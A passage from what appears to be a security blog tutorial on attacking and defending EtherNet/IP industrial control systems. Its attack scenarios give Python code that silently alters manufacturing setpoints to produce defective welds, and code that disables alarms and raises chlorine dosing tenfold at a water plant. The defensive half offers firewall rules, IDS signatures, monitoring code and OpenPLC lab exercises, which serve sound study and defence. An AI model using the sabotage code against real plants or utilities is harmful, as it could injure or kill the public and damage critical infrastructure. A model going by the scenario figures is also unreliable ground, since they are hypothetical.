        network = get_network_from_ip(compromised_host)
        
        for ip in generate_ips(network):
            # Use PLC as proxy to scan
            if check_enip_accessible(ip, via_host=compromised_host):
                discovered_devices.append(ip)
                print(f"[+] Discovered: {ip}")
    
    except Exception as e:
        print(f"Error: {e}")
    
    return discovered_devices

---

Real-World Attack Scenarios

Scenario 1: Manufacturing Plant Sabotage

Target: Automotive assembly plant Attack Vector: Compromised engineering workstation Objective: Disrupt production line

Attack Chain:

#!/usr/bin/env python3
"""
Manufacturing Sabotage Attack Simulation
"""

class ManufacturingSabotage:
    def __init__(self, plc_ips):
        self.plcs = plc_ips
        self.baseline_data = {}
    
    def phase1_reconnaissance(self):
        """
        Map production line PLCs
        """
        print("[*] Phase 1: Reconnaissance")
        
        for plc in self.plcs:
            device_info = fingerprint_device(plc)
            print(f"    PLC: {plc}")
            print(f"    Type: {device_info['product']}")
            
            # Identify critical processes
            tags = self.discover_critical_tags(plc)
            self.baseline_data[plc] = tags
    
    def phase2_establish_access(self):
        """
        Gain persistent access
        """
        print("[*] Phase 2: Establishing Access")
        
        for plc in self.plcs:
            # No authentication needed!
            establish_persistence(plc)
    
    def phase3_monitor_process(self):
        """
        Learn normal operation
        """
        print("[*] Phase 3: Monitoring (30 days)")
        
        # Collect 30 days of process data
        # Understand normal patterns
        # Identify optimal attack timing
    
    def phase4_execute_attack(self):
        """
        Cause manufacturing defects
        """
        print("[*] Phase 4: Executing Attack")
        
        # Subtle sabotage:
        # - Modify tolerances to produce defective parts
        # - Alter timing to cause collisions
        # - Change temperatures to weaken materials
        
        for plc in self.plcs:
            self.modify_quality_parameters(plc)
            self.alter_timing_parameters(plc)
    
    def modify_quality_parameters(self, plc):
        """
        Change parameters to produce defective products
        """
        # Example: Increase welding temperature by 5%
        # Result: Weak welds that pass QC but fail in field
        
        modifications = {
            'Weld_Temperature_SP': +5,      # +5% temperature
            'Pressure_SP': -2,               # -2% pressure
            'Cure_Time_SP': -10,             # -10% cure time
        }
        
        for tag, delta in modifications.items():
            current = read_tag(plc, tag)
            new_value = current * (1 + delta/100)
            write_tag(plc, tag, new_value)
            
            print(f"    Modified {tag}: {current} → {new_value}")

# Execute attack
attack = ManufacturingSabotage(['192.168.1.100', '192.168.1.101', '192.168.1.102'])
attack.phase1_reconnaissance()
attack.phase2_establish_access()
attack.phase3_monitor_process()
attack.phase4_execute_attack()

Impact:

• 10,000+ defective vehicles produced

• $500M+ in recalls

• Brand damage

• Safety hazards

Scenario 2: Water Treatment Plant Attack

Target: Municipal water treatment facility Attack Vector: Internet-exposed SCADA system Objective: Contaminate water supply

class WaterTreatmentAttack:
    def __init__(self, scada_ip):
        self.scada = scada_ip
        self.chemical_plcs = []
    
    def attack_chemical_dosing(self):
        """
        Manipulate chemical injection systems
        CRITICAL: Can cause mass casualties
        """
        print("[!] Attacking chemical dosing systems")
        
        # Locate chemical PLCs
        self.chemical_plcs = self.find_chemical_controllers()
        
        for plc in self.chemical_plcs:
            # Read current dosing rates
            chlorine_sp = read_tag(plc, 'Chlorine_Dosing_SP')
            fluoride_sp = read_tag(plc, 'Fluoride_Dosing_SP')
            
            print(f"    Current Chlorine: {chlorine_sp} ppm")
            print(f"    Current Fluoride: {fluoride_sp} ppm")
            
            # Dangerous manipulation options:
            # 1. Over-chlorination (burns, toxic gas)
            # 2. Under-chlorination (bacterial contamination)
            # 3. Fluoride overdose (poisoning)
            
            # Stop monitoring alarms first
            write_tag(plc, 'High_Level_Alarm_Enable', False)
            write_tag(plc, 'Low_Level_Alarm_Enable', False)
            
            # Modify setpoints
            write_tag(plc, 'Chlorine_Dosing_SP', chlorine_sp * 10)  # 10x overdose
            
            print(f"    [!] Chlorine increased to {chlorine_sp * 10} ppm")
            print(f"    [!] Alarms disabled")

# WARNING: THIS IS FOR EDUCATIONAL PURPOSES ONLY
# NEVER ATTACK REAL INFRASTRUCTURE

Impact:

• Public health emergency

• Mass casualties possible

• Panic and civil unrest

• Critical infrastructure failure

---

Defense & Mitigation

1. Network Segmentation

Implement Purdue Model:

┌────────────────────────────────────┐
│ Level 4/5: Enterprise              │
├────────────────────────────────────┤
│ Firewall Rules:                    │
│ - Block: All from L0-L2            │
│ - Allow: HTTP/HTTPS from specific  │
│           hosts only                │
└────────┬───────────────────────────┘
         │
┌────────┴───────────────────────────┐
│ Level 3.5: DMZ                     │
│ - Data diodes                      │
│ - Unidirectional gateways          │
│ - Historian replicas               │
└────────┬───────────────────────────┘
         │
┌────────┴───────────────────────────┐
│ Level 2/3: Control Zone            │
│ Firewall Rules:                    │
│ - Block: All inbound from Internet │
│ - Block: Port 44818 from L4/5      │
│ - Allow: Only EtherNet/IP between  │
│           PLCs and SCADA            │
└────────┬───────────────────────────┘
         │
┌────────┴───────────────────────────┐
│ Level 0/1: Field Devices           │
│ - Air-gapped from IT               │
│ - VLANs per process area           │
└────────────────────────────────────┘

2. Firewall Rules

# iptables rules for ICS network

# Default deny
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP

# Allow EtherNet/IP only from HMI subnet
iptables -A FORWARD -s 192.168.10.0/24 -d 192.168.20.0/24 \
  -p tcp --dport 44818 -j ACCEPT

# Block EtherNet/IP from corporate network
iptables -A FORWARD -s 10.0.0.0/8 -p tcp --dport 44818 -j DROP
iptables -A FORWARD -s 10.0.0.0/8 -p udp --dport 2222 -j DROP

# Log blocked attempts
iptables -A FORWARD -p tcp --dport 44818 -j LOG \
  --log-prefix "ENIP_BLOCKED: "

3. Enable CIP Security

Modern EtherNet/IP supports CIP Security:

# Enable TLS/DTLS encryption
CIP_Security:
  enabled: true
  authentication_mode: certificate  # X.509 certificates
  encryption_protocol: TLS_1.3
  
  certificate_requirements:
    - Device_Certificate: Required
    - CA_Certificate: Required
    - Certificate_Revocation: Enabled
  
  security_profiles:
    - EtherNet/IP_Confidentiality_Profile
    - CIP_User_Authentication_Profile

Rockwell Automation CIP Security:

• CIP Security Proxy: Protects legacy devices

• TLS 1.3: Encrypts all EtherNet/IP traffic

• X.509 Certificates: Device authentication

• HMAC: Message integrity

4. Network Monitoring

IDS Rules for EtherNet/IP:

# Snort/Suricata rules

# Detect List Identity scans
alert tcp any any -> $ICS_NET 44818 (
  msg:"ENIP List Identity Scan";
  flow:to_server,established;
  content:"|00 63|";
  offset:0; depth:2;
  classtype:attempted-recon;
  sid:1000001;
)

# Detect CPU STOP command
alert tcp any any -> $ICS_NET 44818 (
  msg:"ENIP CPU STOP Command";
  content:"|06|";  # Stop service
  classtype:attempted-dos;
  priority:1;
  sid:1000002;
)

# Detect program download
alert tcp any any -> $ICS_NET 44818 (
  msg:"ENIP Program Download Attempt";
  content:"|4F 00|";  # Download service
  classtype:suspicious-login;
  priority:1;
  sid:1000003;
)

# Detect write operations outside maintenance window
alert tcp any any -> $ICS_NET 44818 (
  msg:"ENIP Write Operation Outside Maintenance Window";
  content:"|4D|";  # Write Tag service
  time: >17:00:00 <06:00:00;  # Outside 6am-5pm
  classtype:policy-violation;
  sid:1000004;
)

Zeek/Bro Scripts:

# EtherNet/IP monitoring script

event enip_list_identity(c: connection, is_orig: bool) {
    print fmt("List Identity from %s", c$id$orig_h);
    
    # Log to SIEM
    Log::write(ENIP::LOG, [
        $ts = network_time(),
        $src = c$id$orig_h,
        $dst = c$id$resp_h,
        $command = "List_Identity"
    ]);
}

event enip_cip_request(c: connection, service: count, path: string) {
    # Alert on dangerous services
    if (service == 0x05 || service == 0x06) {  # Start/Stop
        NOTICE([
            $note = ENIP::CPU_Control,
            $msg = fmt("CPU control command from %s", c$id$orig_h),
            $conn = c
        ]);
    }
}

5. Access Control

Implement least privilege:

# Role-Based Access Control for ICS

Roles:
  - Operator:
      - View: Process values, alarms
      - Read: Setpoints
      - Write: Setpoints (within limits)
      - Deny: Program upload/download
      - Deny: CPU control
      - Deny: Network configuration
  
  - Engineer:
      - All Operator permissions
      - Read: PLC program
      - Write: PLC program (change management required)
      - Conditional: CPU control (with approval)
      - Deny: Security settings
  
  - Administrator:
      - All permissions
      - Require: Multi-factor authentication
      - Require: Audit logging
      - Restrict: Time-based (business hours only)

6. Security Monitoring

Critical logs to monitor:

#!/usr/bin/env python3
"""
EtherNet/IP Security Monitoring
"""

import logging
from cpppo.server.enip import client

class ENIPMonitor:
    def __init__(self, devices):
        self.devices = devices
        self.baseline = {}
        self.alerts = []
    
    def establish_baseline(self):
        """
        Learn normal behavior
        """
        for device in self.devices:
            self.baseline[device] = {
                'normal_connections': self.get_connections(device),
                'normal_tags': self.get_tag_list(device),
                'normal_program_hash': self.get_program_hash(device)
            }
    
    def monitor_continuously(self):
        """
        Continuous monitoring
        """
        while True:
            for device in self.devices:
                # Check for unauthorized connections
                current_conns = self.get_connections(device)
                if current_conns != self.baseline[device]['normal_connections']:
                    self.alert("Unauthorized connection", device)
                
                # Check for program changes
                current_hash = self.get_program_hash(device)
                if current_hash != self.baseline[device]['normal_program_hash']:
                    self.alert("PLC program modified", device)
                
                # Check for new tags
                current_tags = self.get_tag_list(device)
                new_tags = set(current_tags) - set(self.baseline[device]['normal_tags'])
                if new_tags:
                    self.alert(f"New tags created: {new_tags}", device)
            
            time.sleep(60)
    
    def alert(self, message, device):
        """
        Send security alert
        """
        alert = {
            'timestamp': time.time(),
            'device': device,
            'message': message,
            'severity': 'HIGH'
        }
        
        self.alerts.append(alert)
        logging.error(f"SECURITY ALERT: {message} on {device}")
        
        # Send to SIEM
        self.send_to_siem(alert)

# Deploy monitoring
monitor = ENIPMonitor(['192.168.1.100', '192.168.1.101'])
monitor.establish_baseline()
monitor.monitor_continuously()

---

Practical Lab Scenarios

Lab 1: Setting Up Test Environment

# Using OpenPLC (open-source PLC)
git clone https://github.com/thiagoralves/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh linux

# Start OpenPLC
sudo ./start_openplc.sh

# OpenPLC now listening on:
# HTTP: http://localhost:8080
# Modbus: TCP/502
# EtherNet/IP: TCP/44818

# Default credentials: openplc / openplc

Create test ladder logic:

// Simple temperature control
IF Temperature > 100 THEN
    Heater = OFF
    Cooler = ON
END_IF

IF Temperature < 80 THEN
    Heater = ON
    Cooler = OFF
END_IF

Lab 2: Discovery Exercise

# Scan lab network
nmap -p 44818 --script enip-info 192.168.1.0/24

# Use cpppo
python3 -m cpppo.server.enip.list_identity -a 192.168.1.100

# Custom scanner
python3 enip_scanner.py 192.168.1.0/24

Lab 3: Reading and Writing Tags

#!/usr/bin/env python3
from cpppo.server.enip import client

# Connect to OpenPLC
host = 'localhost'

# Read tags
with client.connector(host=host) as conn:
    # Read temperature
    temp = conn.read(['Temperature'])
    print(f"Temperature: {temp['Temperature']} °F")
    
    # Write setpoint
    conn.write(['Setpoint=75'])
    print("Setpoint changed to 75°F")

Lab 4: Packet Analysis

# Start Wireshark
sudo wireshark -i lo -f "tcp port 44818" &

# Generate traffic
python3 -m cpppo.server.enip.list_identity -a localhost

# Analyze in Wireshark:
# - Look at EtherNet/IP encapsulation
# - Examine CIP messages
# - Identify tag names and values

Lab 5: Exploitation Practice

# Safe exploitation in lab environment

def lab_exploit_practice(target='localhost'):
    """
    Practice exploitation techniques safely
    """
    print("[*] Lab Exploitation Exercise")
    
    # 1. Discovery
    print("\n[1] Device Discovery")
    device = fingerprint_device(target)
    print(f"    Device: {device}")
    
    # 2. Tag Enumeration
    print("\n[2] Tag Enumeration")
    tags = enumerate_tags(target)
    print(f"    Found {len(tags)} tags")
    
    # 3. Read Current Values
    print("\n[3] Reading Values")
    values = read_tags(target, tags[:5])
    for tag, value in values.items():
        print(f"    {tag}: {value}")
    
    # 4. Modify Setpoint (safe in lab)
    print("\n[4] Modifying Setpoint")
    write_tag(target, 'Setpoint', 85)
    print(f"    Setpoint changed to 85")
    
    # 5. Monitor Response
    print("\n[5] Monitoring Response")
    for i in range(10):
        temp = read_tag(target, 'Temperature')
        print(f"    Temperature: {temp}")
        time.sleep(1)

# Run exercise
lab_exploit_practice()

---

Conclusion

EtherNet/IP security requires a defense-in-depth approach combining:

1. Network Segmentation: Purdue model implementation

2. Access Controls: Strong authentication and authorization

3. Encryption: CIP Security with TLS/DTLS

4. Monitoring: Continuous security monitoring and logging

5. Incident Response: Prepared response plans

6. Security Testing: Regular penetration testing

7. Vendor Engagement: Work with vendors on security

Key Takeaways:

• EtherNet/IP has no built-in security by default

• Attacks can cause physical damage and loss of life

• Network segmentation is critical

• CIP Security must be enabled

• Continuous monitoring is essential

• Air gaps are increasingly impractical

For Pentesters:

• Always obtain written authorization

• Understand physical impact of tests

• Work closely with operations teams

• Use passive techniques when possible

• Have rollback plans ready

• Document everything

For Defenders:

• Assume compromise will occur

• Implement multiple layers of defense

• Monitor everything

• Practice incident response

• Engage security experts

• Never expose ICS to internet

---

Additional Resources

Tools

• cpppo: Python EtherNet/IP library

• pycomm3: Python library for Allen-Bradley PLCs

• Wireshark: Protocol analysis

• Metasploit: Exploitation framework

• OpenPLC: Open-source PLC for testing

Learn & practice For the Bug Bounty

Support VeryLazyTech 🎉

• Become VeryLazyTech member! 🎁

• Follow us on:

  • ✖ Twitter @VeryLazyTech.

  • 👾 Github @VeryLazyTech.

  • 📜 Medium @VeryLazyTech.

  • 📺 YouTube @VeryLazyTech.

  • 📩 Telegram @VeryLazyTech.

  • 🕵️‍♂️ My Site @VeryLazyTech.

• Visit our shop for e-books and courses. 📚